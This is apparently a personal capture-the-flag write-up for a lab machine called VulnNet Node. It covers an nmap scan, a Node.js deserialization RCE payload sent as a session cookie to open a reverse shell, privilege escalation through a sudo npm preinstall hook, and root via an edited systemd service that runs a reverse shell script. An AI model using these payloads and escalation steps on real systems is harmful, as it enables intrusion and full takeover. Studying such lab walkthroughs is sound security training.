Nmap scan report for 10.10.246.182 Host is up (0.069s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 8080/tcp open http Node.js Express framework |_http-title: VulnNet – Your reliable news source – Try Now! Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.52 seconds
Nothing to enumerate but poke at the web app. We see they’re usign NodeJS (hence the box name)

We’re greeted with a login form and some potential usernames for future enumeration. We’ll run Gobuster and see what else there is.

The images uploaded for company portraits suggest they may use first name last initial as a naming convention.
After faffing about for a long time trying to forge JWTs like below, I returned to the home page to re-set my session cookie and saw I’d broken everything…


This Node.js deserialization bug apparently means we can exploit for RCE.
Using the tool NodeJSShell.py we can create a payload to inject as the session cookie and start up a listener to catch a shell…
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,10...SNIP...,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

www@vulnnet-node:/$ sudo -l Matching Defaults entries for www on vulnnet-node: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www may run the following commands on vulnnet-node: (serv-manage) NOPASSWD: /usr/bin/npm
Our www user can use npm as the serv-manage user, so we can execute a shell as serv-manage using the following directions from GTFObins
www@vulnnet-node:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > ~/tmp/package.json www@vulnnet-node:~$ sudo -u serv-manage /usr/bin/npm -C ~/tmp i > @ preinstall /home/www/tmp > /bin/sh $ id uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)
Now as the user serv-manage we have write permissions over /etc/systemd/system/vulnnet-job.service and /etc/systemd/system/vulnnet-auto.timer and can run vulnnet-auto.timer as root.
Vulnnet-auto.timer is running vulnnet-job.service so all we need to do is create a payload and insert the command to execute it into this service.
#vulnnet-auto.timer [Unit] Description=Run VulnNet utilities every 30 min [Timer] OnBootSec=0min # 30 min job OnCalendar=*:0/30 Unit=vulnnet-job.service [Install] WantedBy=basic.target #Our edited Vulnnet-job.service [Unit] Description=Logs system statistics to the systemd journal Wants=vulnnet-auto.timer [Service] # Gather system statistics Type=forking ExecStart=/tmp/shell.sh [Install] WantedBy=multi-user.target
We create a reverse bash shell at /tmp/shell.sh and request the service to open it. We can stop and re-start the timer, it’s set to run at 0 mins and will also execute the script we’ve made, popping a reverse shell in our open and ready listener.

So with that we can grab the root flag and finish the box. For an easy box I found the access and privesc quite interesting, learning a bit of the history of Node.JS bugs and the final privesc vector was interesting.